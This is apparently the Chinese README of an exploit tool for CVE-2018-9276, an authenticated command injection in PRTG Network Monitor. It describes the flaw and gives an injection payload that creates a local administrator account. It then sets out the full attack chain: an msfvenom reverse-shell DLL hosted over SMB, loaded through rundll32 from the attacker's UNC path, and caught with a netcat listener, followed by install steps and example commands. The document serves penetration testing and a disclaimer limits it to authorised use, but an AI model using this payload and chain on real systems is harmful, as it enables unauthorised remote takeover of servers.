⚠️ 免责声明: 本工具仅用于教育目的和授权渗透测试。仅在你拥有或获得明确书面许可的系统上使用。未经授权的使用是非法的。
PRTG Network Monitor 是 Paessler AG 开发的一款网络监控工具。18.2.39 之前的版本存在通过通知功能实现的认证后命令注入漏洞,允许拥有有效凭据的攻击者以本地系统账户(PRTG 默认服务账户)的身份实现远程代码执行(RCE)。
该漏洞由 Josh Berry 在一次渗透测试中发现并披露给 Paessler AG,后者于 2018年4月20日 发布了修复补丁。该漏洞被分配为 CVE-2018-9276。
| 字段 | 值 |
|---|---|
| CVE | CVE-2018-9276 |
| 影响版本 | PRTG Network Monitor < 18.2.39 |
| 类型 | 认证后命令注入 |
| 所需权限 | 需要有效的 PRTG 凭据 |
| 影响 | 以本地系统身份远程执行代码 |
| CVSS 评分 | 7.2(高危) |
| 补丁 | PRTG 18.2.39(2018年4月20日发布) |
PRTG 包含一个通知系统,允许管理员在特定事件发生时运行脚本。为了防止任意代码执行,PRTG 将可运行的脚本限制为服务器上特定目录中的脚本。默认情况下,只有两个演示脚本可用:
Demo EXE Notification - OutFile.batDemo EXE Notification - OutFile.ps1PowerShell 演示脚本(OutFile.ps1)将通知的参数字段中的值直接传递到脚本中,未进行任何清理。这使得可以通过在分号后附加任意 PowerShell 命令来注入:
test.txt;net user attacker P@ssw0rd! /add;net localgroup administrators attacker /add
当 PRTG 执行通知时,注入的命令将以本地系统权限运行。
注意: 批处理脚本(
OutFile.bat)不存在漏洞——Paessler 似乎在将输入传递给批处理文件之前对其进行了清理。注入仅通过.ps1脚本实现。
该工具自动完成以下步骤:
1. 检查服务器版本 → 确认目标存在漏洞
2. 进行身份验证 → 获取有效的会话 Cookie
3. 创建文件通知 → 在目标上初始化一个可写入的输出文件
4. 触发文件通知 → 通过 /api/notificationtest.htm 执行
5. 生成反向 shell DLL → msfvenom (windows/shell_reverse_tcp)
6. 托管 DLL → 通过 SMB 从攻击机提供
7. 创建命令通知 → 在输出文件后注入 rundll32.exe <UNC_PATH>,0
8. 触发命令通知 → 在目标上执行 DLL
9. 捕获反向 shell → nc -nvlp <LPORT>
PRTG 只允许运行位于其安装目录中的脚本作为通知,因此我们不能直接上传并执行任意二进制文件。相反,我们:
msfvenom 生成一个 Windows 反向 shell 作为 .dll 文件。.dll 托管在攻击机上的 SMB 共享中。rundll32.exe \\attacker\share\payload.dll,0 命令。rundll32.exe 可以从 UNC 路径加载并执行 DLL,从而绕过 PRTG 可直接执行文件的限制。
msfvenom(Metasploit 框架的一部分)netcat (nc)impacket — 仅用于内置 SMB 服务器(可选,请参见 --no-smb)pip install impacket
如果你已有其他托管 DLL 的方式(例如
impacket-smbserver、Metasploit 的exploit/multi/handler或其他 SMB 服务器),则可以使用--no-smb和--shell-location跳过 impacket。
git clone https://github.com/BardLaudian/cve_2018_9276.git
cd cve_2018_9276
pip install -r requirements.txt # 仅安装了 impacket
usage: cve_2018_9276.py [-h] -i HOST -p PORT --lhost LHOST --lport LPORT
[--user USER] [--password PASSWORD] [--https]
[--no-smb] [--shell-location SHELL_LOCATION] [-v]
options:
-i, --host 目标 IP 或主机名
-p, --port 目标端口(例如 80 或 443)
--lhost 反向 shell 回调的本地 IP
--lport 反向 shell 回调的本地端口
--user PRTG 用户名(默认:prtgadmin)
--password PRTG 密码(默认:prtgadmin)
--https 使用 HTTPS(接受自签名证书)
--no-smb 跳过内置 SMB 服务器(攻击载荷已托管)
--shell-location 覆盖 DLL 攻击载荷的 UNC 路径
-v, --verbose 启用详细/调试输出
python3 cve_2018_9276.py \
-i 10.10.10.10 \
-p 80 \
--lhost 10.10.14.5 \
--lport 4444
python3 cve_2018_9276.py \
-i 10.10.10.10 \
-p 443 \
--lhost 10.10.14.5 \
--lport 4444 \
--user admin \
--password Sup3rS3cr3t \
--https
# 先自行托管攻击载荷:
impacket-smbserver share /tmp -smb2support
# 然后运行利用工具,指向你的共享:
python3 cve_2018_9276.py \
-i 10.10.10.10 \
-p 80 \
--lhost 10.10.14.5 \
--lport 4444 \
--no-smb \
--shell-location '\\10.10.14.5\share\payload.dll'
prtgadmin / prtgadmin)会大幅降低利用门槛。